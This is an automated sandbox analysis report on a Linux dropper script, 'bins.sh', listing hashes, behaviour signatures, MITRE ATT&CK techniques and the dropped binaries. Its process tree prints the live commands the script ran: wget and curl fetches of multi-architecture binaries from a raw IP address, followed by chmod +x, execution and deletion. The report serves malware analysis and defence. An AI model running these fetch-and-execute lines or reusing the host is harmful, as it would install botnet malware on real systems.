f6f3b06ff42116c675cdf5a6165a9d52b30fdfd232622eaa3840383bf363f25e

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/06/2026, 12:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260628-pc3ryag14p
SHA256 f6f3b06ff42116c675cdf5a6165a9d52b30fdfd232622eaa3840383bf363f25e
MD5 05fda71868fe0643b0a4935897800eeb
SHA1 68208ebc39593e3be91f2ec536f90ed2ac5ef9d9
SHA512 e8ac4bed6e055cf13ffbbce471e67b292b8b466ca29883d087e28ff3e4c99ada28ac3c2e1f9924346b8efce405ece1b9db65d8da8a459001235e42d0fa081807
TLSH
T1C241B28B726434B3C40AEE55F3E495C4E18997E3E2B7CAB8B4A48763105D12CF5A6F70
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
670	chmod
682	chmod
725	chmod
731	chmod
766	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/x86	671	bins.sh
/tmp/x86	683	bins.sh
/tmp/i386	726	bins.sh
/tmp/i386	732	bins.sh
/tmp/amd64	767	bins.sh
/tmp/amd64	772	bins.sh

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/stat	bins.sh
File opened for reading	/proc/meminfo	bins.sh
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Reads runtime system information
PID:642
- /usr/bin/wget
  wget http://91.92.42.125/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:644
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/x86
  ./x86
  2⤵
  PID:671
- /bin/rm
  rm -f x86
  2⤵
  PID:674
- /usr/bin/curl
  curl -O http://91.92.42.125/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/x86
  ./x86
  2⤵
  PID:683
- /bin/rm
  rm -f x86
  2⤵
  PID:685
- /usr/bin/wget
  wget http://91.92.42.125/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:688
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/i386
  ./i386
  2⤵
  PID:726
- /bin/rm
  rm -f i386
  2⤵
  PID:728
- /usr/bin/curl
  curl -O http://91.92.42.125/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/i386
  ./i386
  2⤵
  PID:732
- /bin/rm
  rm -f i386
  2⤵
  PID:734
- /usr/bin/wget
  wget http://91.92.42.125/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/amd64
  ./amd64
  2⤵
  PID:767
- /bin/rm
  rm -f amd64
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://91.92.42.125/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  2⤵
  PID:771
- /tmp/amd64
  2⤵
  PID:772
- /bin/rm
  2⤵
  PID:774
- /usr/bin/wget
  2⤵
  - Writes file to tmp directory
  PID:775

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 5.8MB
SHA256 ba01bc4f787871ce0f3ab3c2382cf5fe250dbdda7a06bdf38908d22fe79d6b8a
MD5 0bf2c86cbb592b54fe0bc1ee0ec1f686
SHA1 49bd72cb73e6306ea0a332cd1b8683a2b6e86965
SHA512 9c8abcd0a816c2cae33621161898aee967a562fcd6af76a491a4937b3bb2563f790a973c3b5c347d4009a90a3f0fc0f8e8105d3896baa27f30cea95afae98e85
SSDEEP 49152:4nFAt/cznBAdT8Eih8qSEiMDCs4qvlZz5oSe8iRQJfL9NinKlK1KcglCQ5ED:4necjZZOB8vW5w9ED
TLSH
T162565A57EC9514E9C0AE9230CA729153BB717C991F3123D32BA0B6382F77BD0A9B9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

amd64

Path /tmp/amd64
Size 5.8MB
SHA256 caa15348015d5a338910bc3314d7279d8ebf7449988676c816572fe6af60f04f
MD5 47c956c2d758da2eadf022d1bacfcf51
SHA1 47654d681457ead3588bb9e98c1ca9009ed0f59f
SHA512 d69617aa79b8b2d842b446b58e28aa9e80d2dc1cf737e8d856ce8ff590b0ce323060049d3540d987715387e347a97bc67b9b1d0d8bcd676ea2bb7c4054e9818a
SSDEEP 49152:4nFAt/cznBAdT8Eih8qSEiMDCs4qvlZz5oSe8iRZEeT:4necjZZOB8gT
TLSH
T196560857ECA950E8C0FED534C662A613BEA13C59473433D32FA1AA201F36FD0A9B9754
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 932KB
SHA256 8c601cd6b73cc5508a9d5e25d16b32db57e474934fb34a065c4d9370df40b6ea
MD5 7c03c9e31ad17f6bf404f45913109580
SHA1 4b69e094a80403420d498acf09bb3543e3ef7344
SHA512 28a1c4d75b78a2a415773ab3d78a82d030286bbcccc029d9b62ccb3bf6b42b9f0238f01fcbbd07b893c1679a3031c49faf1bd3ce27a19dd11f35a9d054a1193f
SSDEEP 6144:5hyJusEUgRqPDwlIXgyz+IZtpF4pWSI73oy3MntcwTVz:euqPMlIXgyHj4pWSA3wcwpz
TLSH
T1F61593AB79928586C5E83DBBFD7D81C832A70BBD839B20658D05CD342BFE5D90938354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 5.6MB
SHA256 caa9408fdf9272b4a2c02061218f78c96124608dd23694cfc19ab0747ec1a43c
MD5 876fd318fdc34f99f4287b3d86790d9f
SHA1 22b3f5db2854896dc5e1a41d24d8dff03ce54e79
SHA512 4de5c64e17d4aafb4d3206ffc4d4f6caeea61390b4e2c4778076cd71016eee67a5260a590969aa150f0ebb618e9394338b49af45c2030f537930381f0fac8446
SSDEEP 49152:42pVfZ03PyySNwWl3neuLayncJgzFtNd4yUkG730Qh5sL/Aah0WZHa5Ek:Xle3qySNpay5Hd4yG7wIdWdwEk
TLSH
T1D5563811FACB04F6E6031E3104BBA27F67315D064B25DBD7EB407E29FA7BA911936209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sysd

Path /usr/bin/sysd
Size 704KB
SHA256 a6361cc5187c93ce1c496467d65924ef57c1ca1e88808d68033a17d5cfac7f73
MD5 0a7a7d922d7e58fc2f714b5530483394
SHA1 8df2a26a5ce19584e33d2c4d5f3cdbfcbefff867
SHA512 61865dfbc7138b18c9e13264926854542efbd63f754ef705826ef21f8d2c861ce502f78bfeccea03710b68c101a03198fbb2afa9792bd49b6ba0b0270b3983f9
SSDEEP 12288:RuqPbgx78lIHdXXK6nT5lcPgGIkVwkTRlm7kWFPPbw/jpRJQrKK5yeeStQgV6Rjg:sqPbgl8lCXK6ToPZIknlnW1PYhYjeStn
TLSH
T1B5E493AB7AA28586C8E83A7BFC6DC1C432571BBDA3DE64154D06CD3936BF4D90A34350
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads